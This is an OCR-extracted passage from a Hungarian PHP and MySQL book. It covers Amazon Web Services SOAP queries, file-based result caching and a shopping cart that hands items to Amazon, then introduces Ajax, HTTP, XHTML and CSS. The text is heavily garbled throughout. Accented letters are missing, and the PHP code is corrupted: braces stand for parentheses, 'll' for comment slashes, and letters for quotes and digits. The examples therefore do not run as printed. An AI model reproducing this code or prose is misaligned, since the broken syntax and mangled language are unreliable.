proxynak kr, a Web Service merdusainak megfelel metdusa lesz. Ez jelentsen megknnyti letnket, mivel gy tudunk
kapcsolatba lpni a Web Service szolgltatssal, mintha az helyi PHP osztly lenne.
Ezt kveten a browsenode lekrdezsnek tadand krselemek tmbjt hozzuk ltre:
$request = array ('Service' => $this->Service,
'BrowseNode' => $this->BrowseNode,

'Operation' => $this->Operation,

'ResponseGroup' => $this->ResponseGroup,

'Searchindex' => $this->Searchindex,

'Sort' => $this->Sort,

'TotalPages' => $this->TotalPages};

Kt msik elemet kell mg tadni a krsnek: az AWSAccessKeyiD-t s az AssociateTaget. Ezeket, illetve a $request
tmb elemeit egy msik, $parameters nev tmbbe helyezzk:
$parameters = array('AWSAccessKeyid' => DEVTAG,

'AssociateTag' => ASSOCIATEID,

'Request'=>array($request}};

Ekkor aproxy osztlyt hasznlva egyszeren meghvjuk a Web Service metdusait, s a paramterek tmbjt acljuk t nekik:
$result = $soap_proxy->ItemSearch($parameters};

A $result tmbben eltrolt adatok egy tmb, amit Product objektumknt kzvetlenl az AmazonResultSet osztly
products tmbjben trolharunk el.

A krsbl szrmaz adatok gyorsttrazsa


Trjnk vissza a getARS(} fggvnyhez, s fordtsuk figyelmnket a gyorsttrazsra! Mint emlkezhetnk r, a fggvny
a kvetkezkppen nz ki:
ll AmazonResultSet objektum lekrse gyorsttrbl vagy l lekrdezsbl
ll l lekrdezs esetn tegyk az objektumot gyorsttrba!
function getARS($type,

$parameters}

$cache = cached($type,

$parameters};

if ($cache}

ll ha megtallhat a gyorsttrban
return $cache;
else
$ars

33

{
=

new AmazonResultSet;

if($type == 'asin'}
$ars->ASINSearch(padASIN($parameters['asin']},

if($type

==

$parameters['mode']};

'browse'}

$ars->browseNodeSearch($parameters['browsenode'],
$parameters['page'],

$parameters['mode']};

if($type == 'search'}
$ars->keywordSearch($parameters['search'],

$parameters['page'],

$parameters['mode']};

cache($type,

$parameters,

$ars};

return $ars;

A SOAP s az XML gyorsttrazst is ezzel a fggvnnyel vgezzk el. A kpek gyorsttrba helyezshez ugyanak
kor egy msik fggvnyt is hasznlunk. Kezdskppen elszr meghvjuk a cached(} fggvnyt, hogy kidertsk, a krt
AmazonResul tSet objektum gyorsttrba lett-e mr helyezve. Ha igen, akkor ahelyett, hogy j krst intznnk az Ama

zonhoz, a gyorsttrazort adatot adjuk vissza:


$cache = cached($type,

$parameters};

if($cache} ll ha benne van a gyorsttrban{


return $cache;

Kapcsolds az Amazon Web Services fellethez XML s SOAP segtsgvel

Amennyiben nem, az Amazontl lekrt adatot azonnal gyorsttrazzuk:


cache($type,

$parameters,

$ars);

Vizsgljuk meg kzelebbrl ezt a kt fggvnyt: cached () s cache () ! Ezek a 33.12 pldakdban lthat fggvnyek
valstjk meg az Amazon licencfelttelei kztt szerepl gyorsttrazst.
33.12 pldakd: A cached () s
ll ellenrizzk,
ll ha igen,
ll ha nem,

cache ()fggvny- A cachefunctions.php knyvtr gyorsttrazsrtfelelsfggvnyei

hogy a kvnt Amazon-adat megtallhat-e a gyorsttrban!

adjuk vissza!
false rtkkel tr vissza a fggvny

function cached($type,
if($type

$filename

$parameters)

'browse')

==

CACHE. '/browse.'.$parameters['browsenode'l.'. '.$parameters['page'l.'.'

.$parameters['mode'l.' .dat';

if($type == 'search')
$filename

CACHE.'/search.'.$parameters['search'l.'.'.$parameters['page'l.'.'

.$parameters['mode'l.'.dat';

if($type == 'asin')
$filename

CACHE. 'lasin.' . $parameters['asin' l . '.'.$parameters['mode'l . '.dat';

ll a gyorsttrazott adat hinyzik vagy l rnl rgebbi?


if( !file_exists($filename) ll
( (mktime () - filemtime ($filename)) > 60*60))
return false;

$data = file_get_contents($filename);
return unserialize($data);

ll Amazon-adatok gyorsttrba helyezse


function cache($type,

$parameters,

$data)

if($type == 'browse')
$filename

CACHE. '/browse.'.$parameters['browsenode'l.'.'.$parameters['page'l.'.'
.$parameters['mode'l.' .dat';

if($type == 'search')
$filename = CACHE. 'lsearch.' . $parameters['search'l. '. '.$parameters ['page'l.'.'
.$parameters['mode'l.'.dat';

if($type == 'asin')
$filename = CACHE.'/asin.'.$parameters['asin'l.'.'.$parameters['mode'l.'.dat';

$data = serialize($data);

$fp

fopen($filename,

if(!$fp
echo

ll

'wb');

(fwrite($fp,

('<p>Error,

fclose($fp);

$data)==-!))

could not store cache file');

593

594

33. fejezet

A kdot tfutva lthatjuk, hogy a gyorsttrba kerl fjlokat olyan fjlnvvel troljuk el, ami a lekrdezs tpusbl s
a lekrdezs paramttereibl ll. A cache () fggvny szerializlva (sorosrva) trolja az eredmnyeket, a cached () fggvny
pedig visszalltja a szerializlt eredmnyeket. A cached () fggvny a licencfeltteleknek megfelelen fellrja az egy rnl
rgebbi adatokat.
A serialize() fggvny trolhat karakterlncc alaktja a trolt programadatokat. Az trtnik, hogy trolhat formra
alaktjuk az AmazonResult Set objektumokat. Az unserialize () fggvny meghvsa ennek pont fordtottjt vgzi:
a memriban lv adatstruktrra lltja vissza az eltrolt adatokat. Ne fele<ljk, hogy a szerializlt karakterlnc objektumm
visszalltshoz a fjlnak tartalmaznia kell az osztlydefincit!
Alkalmazsunkban a msodperc trt rszig tart az eredmnyhalmaz gyorsttrbl val visszakeresse, az l lekrdezs
ugyanakkor akr tz msodpercet is ignybe vehet.

Vsrli kosr fejlesztse


Az egy dolog, hogy most mr oldalunkrl elrhetk az Amazon lenygz lekrdezsi funkcii, de mgis mire megynk velk?
A nyilvnval vlasz, hogy kosr funkeit megvalstva lehetv tehetjk, hogy oldalunkon bngszve ltogatink vsroljanak
az Amazon knlatbl. Mivel a kosr funkcival kimerten foglalkoztunk a 28. fejezetben, itt s most nem megynk bele
a rszletekbe.
A kosr funkci fggvnyeit a 33.13 pldakdban lthatjuk.
33.13 pldakd: cartfunctions.php-A vsrli kosr megvalstsa
<?php
require_once('AmazonResultSet.php');
ll A bookdisplay.php fjl showSummary() fggvnyvel megjelentjk
ll a kosr aktulis tartalmt
function showCart($cart,

$mode)

ll tadand tmb ltrehozsa


$products = array();
foreach($cart as $ASIN=>$product)
$ars = getARS('asin',

array('asin'=>$ASIN,

'mode'=>$mode));

if($ars) {

33

$products[)

= $ars->getProduct(O);

ll az Amazon.com kosrhoz csatlakoz rlap ltrehozsa


echo "<form method=\"POST\"
action=\"http:llwww.amazon.comlgplawslcart/add.html\">";
foreach($cart as $ASIN=>$product)
$quantity

$eart [ $ASIN) ['quantity' l ;

echo "<input type=\"hidden\" name=\"ASIN.".$ASIN."\"

value=\"".$ASIN."\">";

echo "<input type=\"hidden\" name=\"Quantity.".$ASIN."\" value=\"".$quantity."\">";

echo "<input type=\"hidden\" name=\"Subscriptionid\" value=\"".DEVTAG."\">


<input type=\"hidden\" name=\"AssociateTag\" value=\"".ASSOCIATEID."\">
<input type=\"image\" src=\"images/checkout.gif\"
name=\"submit.add-to-cart\" value=\"Buy From Amazon.com\">
When you have finished shopping press checkout to add all the
items in your Tahuayo eart to your Amazon eart and complete
your purchase.
</form>
<br/><a href=\"index.php?action=emptycart\"><img

Kapcsolds az Amazon Web Services fellethez XML s SOAP segtsgvel

595

src=\"images/emptycart.gif\" alt=\"Empty eart\" border=\"0\"></a>


If you have finished with this eart,

you can empty it of all items.

</form>
<br />
<hl>eart eontents</hl>";
showSummary($products,

l, count($products), $mode,

0,

true);

ll a kosr llandan a kpernyn lv rvid sszefoglalsnak megjelenitse


ll csak az utols hrom,

kosrba tett termket mutatja

function showSmalleart()
global $ SESSION;
echo "<table border=\"1\" cellpadding=\"1\" cellspacing=\"0\">
<tr><td class=\"cartheading\">Your eart $".
number forrnat( eartPrice (),

2). "</td></tr>

<tr><td class=\"cart\">".carteontents()."</td></tr>";
ll az Amazon.com kosrhoz csatlakoz rlap
echo "<form method=\"POST\"
action=\"http://www.amazon.comlgp/awslcart/add.html\">
<tr><td class=\"cartheading\"><a
href=\"index.php?action=showcart\"><img
src=\"images/details.gif\" border=\"0\"><la>";
foreach($_SESSION['cart'] as $ASIN=>$product)
$quantity = $_SESSION['cart'] [$ASIN]['quantity'];
echo "<input type=\"hidden\" name=\"ASIN.".$ASIN."\"

value=\"".$ASIN."\">";

echo "<input type=\"hidden\" name=\"Quantity.".$ASIN."\" value=\"".$quantity."\">";


echo "<input type=\"hidden\" name=\"Subscriptionid\" value=\"".DEVTAG."\">
<input type=\"hidden\" name=\"AssociateTag\" value=\"".ASSOeiATEID."\">
<input type=\"image\" src=\"imageslcheckout.gif\"
name=\"submit.add-to-cart\" value=\"Buy From Amazon.com\">
</td></tr>
</form>
<ltable>";

ll mutassuk a kosrhoz utoljra hozzadott ttelt!


function carteontents()
global $ SESSION;
$display = array_slice($ SESSION['cart'],

-3,

3);

ll fordtott idrendi sorrendben van rjuk szksgnk


$display = array_reverse($display,

true);

$result = '';
$counter = 0;
ll ha tl hossz a termknv,

rvidtsk le'

33

596

33.fezet

foreach($display as $product)
if(strlen($product['name'l)<=40)
$result
else

$product['name'l . "<br l>";

$result

substr($product['name'l,

O,

37)."... <br l>";

$counter++;

ll res kosr esetn res sorok hozzadsa,

hogy

ll a kperny lland legyen


for(;$counter<3; $counter++)
$result .= "<br l>";

return $result;

ll kosrban lv termkek teljes rnak kiszmtsa


function cartPrice()
global $ SESSION;
$total = 0.0;
foreach($_SESSION['cart'l as $product)
$price = str_replace('$',

'',

$product['price'l) ;

$total += $price*$product['quantity'l;

return $total;

ll egy termk kosrba raksa


ll egyelre nem lehetsges egyszerre egy termknl tbbet a kosrba tenni
function addToCart(&$cart,

33

$ASIN,

$mode)

if(isset($eart[$ASINl ))
$eart [$ASINl['quantity'l +=l;
else

ll ellenrizzk,
$ars

hogy az ASIN kd rvnyes-e,

s mennyi az ahhoz tartoz r!

new AmazonResultSet;

$product = $ars->ASINSearch($ASIN,

if($product->valid ())

$mode);

$cart[$ASINl = array('price'=>$product->ourPrice(),
'name' => $product->productName(),

'quantity' => l)

ll egy adott ttel sszes pldnynak trlse a kosrbl


function deleteFromCart(&$cart,
unset ($cart[$ASINl);

?>

$ASIN)

Kapcsolds azAmazon Web Services fellethez XML s SOAP segtsgvel

597

Ennl a kosrnl a korbbiakhoz kpest mshogyan hajtunk vgre nhny dolgot. Nzzk meg pldul az addToCart ()
fggvnyt! Amikor megprblunk betenni valamit a kosrba, ellenrizzk az ASIN kd rvnyessgt, s kiketessk az aktu
lis ( vagy legalbbis gyorsttrazott) rat.
A legrdekesebb krds a kvetkez: amikor a vsrlk fizetni akarnak, hogyan juttatjuk el adataikat azAmazonnak?

Fizets az Amazonnl
Nzzk meg kzelebbrl a 33.13 pldakdban lthat showeart () fggvnyt, annak is az albbi rszt:
ll az Amazon.com kosrhoz csatlakoz rlap ltrehozsa
echo "<form method=\"POST\"
action=\"http://www.amazon.com/gp/aws/cart/add.html\">";

foreach($cart as $ASIN=>$product)
$quantity

$eart [ $ASIN] ['quantity'] ;

echo "<input type=\"hidden\" name=\"ASIN.".$ASIN."\"

value=\"".$ASIN."\">";

echo "<input type=\"hidden\" name=\"Quantity.".$ASIN."\" value=\"".$quantity."\">";

echo "<input type=\"hidden\" name=\"Subscriptionld\" value=\"".DEVTAG."\">


<input type=\"hidden\" name=\"AssociateTag\" value=\"".ASSOCIATEID."\">
<input type=\"image\" src=\"images/checkout.gif\"
name=\"submit.add-to-cart\" value=\"Buy From Amazon.com\">
When you have finished shopping press checkout to add all the
items in your Tahuayo eart to your Amazon eart and complete
your purchase.
</form>

A fizets gomb olyan rlapgomb, amely azAmazon oldalon lv kosrhoz kapcsolja a vsrl kosart. POST vltozkknt
elkldjk azASIN kdokat, a mennyisgeket s a partnerazonostnkat (Associate ID). s hkuszpkusz: kszen vagyunk!
A gombra kattints eredmnyt a korbban mr bemutatott 33.5 brn lthatjuk.
Ennek a felletnek az a problm:ija, hogy csak egyirny kommunikcit tesz lehetv.AzAmazon oldalon lv kosrhoz
hozzadhatunk ugyan tteleket, m eltvoltani nem rucijuk ket. Ez azt jelenti, hogy nem tudunk oldalunk s azAmazon k
ztt oda-vissza vltogatni annak veszlye nlkl, hogy megduplzzuk a kasarunkban lv ttelek pldnyszmt.

A projekt kdjnak teleptse


Ha szetetnnk telepteni a fejezetben ellltott kdot, a megszokottakon tl nhny tovbbi lpst is vgre kell hajtani. Miu
tn kiszolglnk megfelel knyvtraiban elhelyeztk a kdot, a kvetkezket tesszk:
Cache knyvtr ltrehozsa.
A cache knyvtr jogosultsgainak belltsa, hogy a kdok rhassanak a knyvtrba.
A constants.php tartalmnak szerkesztse a gyorsttr elrsi tvonalnak megfelelen.
RegsztrciAmazon fejleszti tokenrt.
A constants. php tartalmnak mdostsa a fejleszti token s partnerazonosrnk (Associate ID) alapjn.
A NuSOAP knyvtr teleptse. Ez megrallhat a Tahuayo mappban is, de tetszs szerint thelyezhetjk s mdost
hatjuk a kdjt.
Annak ellenrzse, hogy a PHP5-t simpleXML tmogatssal fordtottuk-e.

33

598

33. fejezet

A projekt tovbbfejlesztse
A projekt egyik kzenfekv tovbbfejlesztsi lehetsge a Tahuayo oldalon elrhet keressi tpusok kibvtse. Ha tovbbi
tletekre van s:zksgnk, kattintsunk az Amazon Web Services Resource Centerben elrhet, innovatv mintaalkalmazsok
ra mutat hivatkozsokra! Tovbbi informcirt olvassunk bele az Articles and Tutorials (Cikkek s oktatanyagok), illetve
a Community Code (Kzssgi kd) szakasz tartalmba is! A kosr funkci megvalstsa az Amazontl lekrt adatokkal
a leginkbb magtl rtetd feladat, m messze nem ez az egyetlen fejlesztsi lehetsg.

Tovbbi olvasnival
Rengeteg knyv s online informciforrs tallhat az XML s a Web Services tmakrben. Kivl kiindulpontot jelent
a W3C weboldala. rdemes megtekinteni tovbb az XML Working Group oldalt (http:/ /www.w3.org/XML/Core/) s
a Web Services Activity oldalt is (http://www.w3.org/2002/ws/).

33

34
Web 2.Q ...s alkalmazsok fejlesztse
Ajax ...programozssal
A vilghl szveget, illetve kpekre, hang- s videofjlokra mutat hivatkozsokat tartalmaz statikus oldalak sorozataknt
indult. A web jelents rsze a mai napig megrizte ezen llapott, ugyanakkor egyre tbb, szveggel s multimdis rartalom
mal teli oldalt dinamikusan, szerveroldali programozssal lltanak el; mi is pontosan ezt tettk a knyv eddig ltott alkal
mazsaiban. m a Web 2.0 eljvetele egyttal arra sztnzte a fejlesztker, hogy j mdszereket dolgozzanak ki arra, hogy
miknt rudnak a felhasznlk klcsnhatsba lpni a webszerverekkel s az informcit trol adatbzisokkal. Az egyik gyor
san terjed mdszer az Ajax- (AsynchronousJavaScript and XML, vagyis aszinkronJavaScript s XML) programozs, amivel
interaktv alkalmazsokat hozharunk ltre, ugyanakkor cskkenthetjk a statikus elemek visszakeressre fordtand idt.

Megjegyzs: Ha szeretnnk jobban

megrteni a Web 2.0 Joga/mt, olvassuk el Tim O'Reilly dolgozatt a tmban, amely -

angol nyelven- a http://www.oreillynet.com/pub/a/oreilly/tim/news/2005/09!30/what-is-web-20.html oldalrl rhet el.

E fejezetben ismertetjk az Ajax-programozs alapjait, s megmurarjuk, hogy integrlhatunk alkalmazsainkba nhny


egyszer Ajax elemet. A fejezetben nem trekedhetnk a teljessgre, m az itt olvasortak megfelel alapot teremthetnek e tech
nolgik ksbbi hasznlathoz. A kvetkez fbb tmakrkkel foglalkozunk:
Ajax alkalmazsok ltrehozsa szkripr- s ler nyelvek tvzsveL
Az Ajax alkalmazs legfontosabb rszei: krs intzse kiszolglhoz s a kiszolgl vlasznak rtelmezse.
Korbbi fejezetek alkalmazsainak mdostsa Ajaxot tmogat (Ajax-enabled) weboldalak ltrehozsra.
Kdknyvtrak elrhetsge, illetve tovbbi informcik a tmban.

Mi azAjax:
Az Ajax nmagban

sem nem programozsi nyelv, sem nem technolgia. Az Ajax-programozs ezzel szemben jellernzen az
XML formzs adattvitelt tartalmaz, kliensoldaliJavaScript-programozs s a- pldul PHP-vel vgzett- szerveroldali
programozs kombincija. A fentieken tlmenen XHTML-t s CSS-r hasznlunk az Ajaxor tmogat tartalmak formz
sra s megjelentsre.
Az Ajax-programozs vgeredmnyben cltharbb s gyorsabb felhasznli felleret eredmnyez az adott alkalmazsban
- gondoljunk csak a Facebook, a Flickr vagy a Web 2.0 ltal elrrhe kerlt egyb kzssgi oldalak felleteirel Ezek az alkal
mazsok lehetv teszik a felhasznlnak, hogy az egsz oldal jbli berltse vagy megjelentse nlkl hajtsanak vgre kln
bz feladatokat, s pontosan itt kerl a kpbe az Ajax. A kliensoldali programozs a szerveroldali programozs egy kis rszt
hvja csak meg, pusztn a felhasznl bngszjben megjelentett aprnyi terleten, s csak ez az, amit jra kell rajzolni. Az
ilyen mvelet a klnll alkalmazsok mveleteinek eredmnyt minrzza, m webes krnyezetben teszi mindezt.
J plda erre, amikor azt hasonltjuk ssze, hogy rnilyen tblzatkezel alkalmazsban dolgozni , illetvernilyen a webolda
lakon megtekinteni egy adattal teli tblzatot. Az offline alkalmazsban a felhasznlnak lehetsge van a cellkat egyenknt
mdostani vagy kpleteket alkalmazni az egyes cellkban, rendezheti az oszlopokban lv adatokat, s mindezt anlkl teheti
meg, hogy el kellene hagynia az eredeti felletet. Ha statikus webes krnyezetben kattinrunk az egyes oszlopokat rendez hi
vatkozsokra, j krst kell kldeni a kiszolglnak, amire a kiszolgl j eredmnyt kld a bngsznek, az oldalt pedig jra
meg kell jelenteni a felhasznl szmra. Ajaxor tmogat webes krnyezetben az adott oszlopot gy lehet a felhasznl kr
sre sorba rendezni, hogy nem kell a teljes oldalt jra betlteni.
A mosr kvetkez oldalakon az Ajax hasznlata esetn szba jv technolgikat tekintjk t. Az itt olvashat lers tvolrl
sem teljes kr, de ha tovbbi informcira van szksgnk, a megadott forrsokon elindulharunk majd.

600

34. fejezet

HTTP krsek s vlaszok


A Hypertext Transfer Protocol (hiperszveg-tviteli protokoll, HTTP) olyan internetes szabvny, amely a webszerverek s
a bngszk egymssal folyrarott kommunikcijt szablyozza. Amikor a felhasznl a bngsz cmsorba URL-t beg
pelve, vagy hivatkozsta kattintva, rlapot elkldve, vagy brmilyen ms, t j oldalra irnyt mveletet vgrehajtva lekr egy
weboldalt, a bngsz HTTP krst intz a kiszolglhoz. A krst megkap webszerver valamilyen vlaszt ad erre. Annak
rdekben, hogy a kiszolgltl rtelmes vlaszt kapjuk, megfelelen formzott krst kell kldeni. Az Ajax hasznlathoz
elengedhetetlen, hogy tisztban legynk a krsek s vlaszok megfelel formjval, mert a fejleszt feladata s felelssge, hogy
az Ajax alkalmazsokon bell HTTP krseket rjon, illetve fogadja az azokra rkez vlaszokat.
HTTP krs intzsekor az albbi formban kldi el a kliens az informcit:
Nyit sor, amely a mdszert, a forrs elrsi tvonalt s az aktulisan hasznlt HTTP verzijt tartalmazza, pldul
gy:
GET http://server/php es_mysql/34

fejezet/test.html

HTTP/1.1

Tovbbi, gyakran hasznlt mdszer a POST s a HEAD.


Opcionlis fejlcsarok paramter: rtk formban, pldul gy:
User-agent: Mozilla/5.0
Gecko/2008070208

(Windows;

U;

Windows NT

6.0;

en-US;

rv:l.9.0.1)

Firefox/3.0.1

s/vagy
Accept: text/plain,

text/html

A HTTP fejlcek listjt a http://www.w3.org/Protocols/rfc2616/ oldalon talljuk.


res sor
Opcionlisan az zenet tartalma
A HTTP krst intz kliensnek HTTP vlaszt kell kapnia. Egy HTTP vlasz ltalnos formtuma a kvetkez:
Nyit sor, ms nven llapotsor, amely az aktulisan hasznlt HTTP verzijt s a vlaszkdot tartalmazza, pldul:
HTTP/1.1 200 OK

Az llapotkd els szmjegye ( jelen esetben a 200-on bell a 2-es) a vlaszra utal. Az l-essel kezdd llapatkdok
tjkoztat jellegek, a 2-essel kezddk a sikeres vlaszt, a 3-assal kezddk az tirnytst jelzik, a 4-essel kezddk
olyan klienshibkat, mint a hinyz elem (404), az 5-ssel kezddk pedig olyan szerverhibkat, mint pldul a hibsan
kialaktott kd (500).
A HTTP llapatkdok listjt a http://www.w3.org/Protocols/rfc2616/ oldalon talljuk.
Opcionlis fejlcsarok paramter: rtk formban, pldul gy:
Server: Apache/2.2.9
Last-Modified: Fri,

l Aug 2008 15:34:59 GMT

D HTML s XHTML
A Dinamikus HTML (DHTML) a statikus HTML, a Caseaciing Style Sheets (egymsba gyazott stluslapok, CSS) s
a JavaScript kombinlt alkalmazsra utal. Ebben a Document Object Model (dokumentumobjektum-modell, DOM) segt
sgvel vltoztatjuk meg ltszlag statikus weboldal megjelenst azt kveten, hogy annak minden eleme betltdtt. Els

34

rnzsre ez a mkds igen hasonl az Ajaxot tmogat oldalakhoz, s bizonyos szempontbl ez igaz is. A klnbsg a kliens
s a kiszolgl kztti aszinkron kapcsolatban rejlik - erre az aszinkron kapcsolatra utal az Ajax els"!\' betje.
Noha egy DHTML ltal vezrelt oldal dinamikus viselkedst mutathat a navigcit segt legrdl menkben vagy a ko
rbbi vlasztsoktl fggen vltoz rlapelemekben, az ezekhez szksges sszes adat mr korbban vissza lett keresve. Ha
pldul olyan DHTML oldalt terveznk, amely valamilyen szveg els rszt jelenti meg, arnikor a felhasznl egy hivatkozs
vagy gomb fl viszi az egeret, s ugyanennek a szvegnek a msodik rszt mutatja, amikor msik hivatkozs vagy gomb fl
viszi, a bngsz ekkorra mr mindkt szvegrszt betlttte. A fejleszt rvidke JavaScript kdot hasznlt, ami a felhasznl
egernek mozgstl fggen be- vagy kikapcsolja a visibility (lthatsg) CSS attribtumot. Ajaxot tmogat oldal esetn
a ktfle szvegnek fenntartott terletet minden bizonnyal a kiszolglhoz intzett tvoli szkriptmeghvs eredmnyeknt tl
tennk fel, mikzben az oldal tbbi rsze statikus maradna.
Az Extensible Hypertext Markup Language (kiterjeszthet hiperszveg-ler nyelv, XHTML) abban a tekintetben
a HTML-hez s a DHTML-hez hasonlan mkdik, hogy mindhrmat klienseszkzn (webes bngszn, telefonon vagy
egyb kzi eszkzn) megjelentend tartalom lersra hasznljuk, s a megjelents jobb szablyozhatsga rdekben meg
engedik a CSS integrcijt. Az XHTML s a HTML kztti klnbsgek kz tartozik az, ahogyan az X HTML alkalmaz
kodik az XML szintaktikjhoz, s ahogyan az XHTML - a szabvnyos bngszeszkzkn tlmenen - XML eszkzk
kel is rtelmezhet.

Web 2.0-s alkalmazsok fejlesztse Ajax-programozssal

601

Az XHTML-ben teljes egszben kisbecvel rjuk az elemeket (pldul <head></head> a <HEAD></HEAD> helyett) s
az attribtumokat (pldul href a HREF helyett). Ezen kvl minden attribtumrtket egyszeres vagy ktszeres idzjelek
kz kell rni, s minden elemet egyrtelmen be kell zrni- cmkepr esetn zr cmkvel, egyetlen (singleton) elem esetn
pedig pldul <img /> vagy <br/> cmkvel.
Az XHTML-rl a http://www.w3.org/TR/xhtmll/ oldalon olvashatunk bvebben.

Cascading Style Sheets (CSS)


A Cascading Style Sheets (CSS) programnyelvet arra hasznljuk, hogy mg jobban finomthassuk statikus, dinamikus vagy
Ajaxot tmogat weboldalak megjelentst. Hasznlata lehetv teszi a fejlesztknek, hogy egy dokumentumon bell meg
vltoztassk egy cmke, osztly vagy ID (azonost) defincijt, s a vltoztatst egybl minden olyan oldalon letbe lptessk,
amely arra a stluslapra mutat. Ezek a defincik vagy ms nven szablyok kivlasztkat (selector), deklarcikat s rtkeket
tartalmaz klnleges formtumot kvernek.
A kivlasztk a HTML cmkk nevei, pldul body vagy hl (heading l, azaz l. snc cmsor).
A deklarcik maguk a stluslap-tulajdonsgok, pldul background (httr) vagy font-size (betmret).
Az rtkeket a deklarciknak adjuk, lehet pldul white (fehr) vagy 12pt (12 pont).
gy a kvetkez nhny sor olyan stluslapelem, amely fehr httrrel definilja a dokumentum trzst, a dokumentum ke
nyrszvegt pedig norml vastagsg, 12 pontos Verdana vagy sans-serif (talp nlkli) betbl szedi:
body

{
background:

white

font-family:
font-size:

[or

Verdana,

#fff or

#ffffff];

sans-serif;

12pt;

font-weight:

normal;

Ezek az rtkek mindaddig rvnyben maradnak az oldalon, amg olyan elemhez nem rnk, amelynek stlust stluslapban
definiltuk. Amikor pldul hl cmkvel tallkozik a kliens, hl szveg fog megjelenni, pontosan gy, ahogy azt meghatroz
tk szmra- valsznleg a 12 pontosnl nagyobb mretben s bold, azaz flkvr stlusban.
A kivlasztk mellett sajt osztlyokat s ID-kat is meghatrozhatunk a stluslapon. Az osztlyok (amiket adott oldal akr
tbb elemn is hasznlhatunk) s az ID-k (amiket adott oldalon bell csak egyszer hasznlhatunk) segtsgvel mg inkbb
finomthatjuk a weboldalon bell megjelentett elemek Icinzett s mkdst. Ez a finomhangols klnsen fontos lehet
az Ajaxot tmogarni kpes weboldalakon, mert ott dokumentumunk elre meghatrozott terletein jelentnk meg tvoli
szkriptmeghvssal lekrt j informcit.
Az osztlyokat a kivlasztkhoz hasonlan definiljuk- a defincik kapcsos zrjelek kz kerlnek, s egymstl pontos
vesszvel vlasztjuk el azokat. Nzzk meg pldul az ajaxterulet nev osztly definilst:
.ajaxterulet
width:
height:

{
400px;
400px;

background:
border:

#fff;

lpx solid

34

#OOO;

Az ebben a pldban szerepl ajaxterulet osztly, amikor div trolra (container) alkalmazzuk, egy 400

400 kp

pontos, fehr htter, vkony s fehr krvonal ngyzetet hoz ltre. A kvetkezkppen hasznljuk:
<div class="ajaxterulet">valamilyen szveg</div>

A stluslapok hasznlatnak legelterjedtebb mdszere, hogy ltrehozunk egy klnll, az sszes stlusdefincit tartalmaz
fjlt, majd HTML dokumentumunk he ad elemben hivatkozunk erre a fjlra, pldul gy:
<head>
<link rel="stylesheet"

href="a stluslap.css" type="text/css">

</head>

A CSS-rl tovbbi informcirt lsd a http:/ /www.w3.org/TR/CSS2/ oldalt!

Kliensoldali programozs
A kliensoldali programozs azt kveten trtnik meg bngsznkn bell, hogy egy oldalt teljes mrtkben letltttnk
a kiszolglrL Az sszes programozsi funkci a kiszolglrl lekrt adatokban helyezkedik el, vrva arra, hogy mkdsbe

602

34.fezet

lpjen.A kliensoldalon vgrehajtott gyakori mveletek kz tartozik szveg vagy kp egyes rszeinek megjelentse vagy el
rejtse, szveg vagy kp sznnek, mretnek vagy helynek megvltoztatsa, szmtsok vgrehajtsa, illetve az rlapba bevitt
felhasznli input ellenrzse-az eltt, hogy elkldennk szerveroldali feldolgozsra.
A legelterjedtebb kliensoldali szkriptnyelv a JavaScript-az Ajax J" betje. A VBScript is kliensoldali szkriptnyelv, de mivel
"
Microsoft-specifikus, gy nylt forrskd krnyezetekben, ahol brmilyen opercis rendszerrel s bngszvel tallkozha
tunk, nem a legjobb vlaszts.

Szerveroldali programozs
A szerveroldali programozs kategrijba tartozik a kiszolgln tallhat minden kd, amit a kliensnek kldend vlasz eltt
a kiszolgl rtelmez vagy lefordt. A szerveroldali programozs jellemzen adatbzisokhoz trtn szerveroldali kapcsold
sokat foglal magban; az adatbzisnak kldtt krsek s az onnan fogadott vlaszok ezrt a kdok rszt kpezik.
Ezeket a kdokat brmilyen szerveroldali nyelven megrhatjuk, legyen az Perl, JSP, ASP vagy PHP (a fejezet pldiban
nyilvnval okokbl ez utbbit hasznljuk).Mivel a szerveroldali kdra adott vlasz ltalban a szabvnyos HTML valamilyen
vltozatban lert adat megjelentse, a vgfelhasznl krnyezet kevsb fontos szmunkra.

XMLsXSLT
Az XML-lel a 33.fejezetben mr tallkozhattunk, ahol formtumnak, szerkezetnek s hasznlatnak alapjairl is olvas
hattunk. Az Ajax alkalmazsok szempontjbl az XML-t-amely egybknt az Ajax.X" betje-az adatok kicserlsre, az
XLST-t pedig az adatok kezelsre hasznljuk.Magukat az adatokat az ltalunk ltrehozott Ajax alkalmazssal kldjk, vagy
abbl keressk vissza.
Az XML-rl a http://www.w3.org/XML/, az XSL-rl pedig a http://www.w3.org/TR/xslt20/ oldalon tallunk bvebb
lerst.

Ajax alapok

34

Miutn megismerkedtnk az Ajax alkalmazsok lehetsges sszetevivel, ebben a rszben ezeket az alkotelemeket sszerakva
akci kzben vizsglunk meg egy mkd pldt. Kzben egy pillanatra se felejtsk el, hogy az Ajax hasznlarnak egyik el
sdleges indoka az, hogy a felhasznl mveleteire azonnal, az oldal teljes frisstse nlkl vlaszolni kpes interaktv webolda
lakat lltsunk el!
Hogy elrjk ezt a clr, az Ajax alkalmazsok egy tovbbi feldolgozsi rteggel is rendelkeznek, amely a lekrt weboldal s az
annak ellltsrt felel webszerver kztt helyezkedik el. Ezt a rteget Ajax Frameworknek (Ajax keretrendszernek) vagy
Ajax Engine-nek (Ajax motornak) szoktk nevezni. A keretrendszer feladata, hogy kezelje a felhasznl s a webes kiszolgl
kztti krseket, s gy kommunikljon ezekkel a krsekkel s vlaszokkal, hogy az ne ignyeljen tovbbi mveleteket (pld
ul az oldal jrarajzolst), illetve ne szakitsa flbe a felhasznl ltal aktulisan vgzett mveletet (pldul a grgetst, a kattin
tst vagy szvegrmb olvasst).
A kvetkez oldalakon arrl olvashatunk, hogyan teremtik meg az Ajax alkalmazsok egymssal egyttmkd alkotele
mei a zavartalan felhasznli lmnyt.
AzXMLHTTPRequest objektum
A fejezet korbbi rszben esett mr sz a HTTP krsekrl s vlaszokrl, illetve arrl, hogyan lehet Ajax alkalmazson bell
kliensoldali programozst hasznlni.A webszerverhez kapcsoldshoz s az eredeti oldal teljes jratltse nlkli krsekhez
az XMLHTTPRequest nev specilis JavaScript objektumra lesz szksgnk.

Megjegyzs: Az XMLHTTPRequest objektum biztonsgi okokbl csak az ugyanazon domainen belli URL-eket tudja
meghvni; tvoli kiszolglkat kzvetlenl nem hvhat meg.

Az XMLHTTPRequest objektumot szoks az Ajax alkalmazsok szvnek-lelknek" nevezni, mivel ez az objektum tlti be
"
a kliens krse s a kiszolgl vlasza kztti tjr (gateway) szerept.Rvidesen megtudjuk ugyan, hogy hogyan hozhatjuk
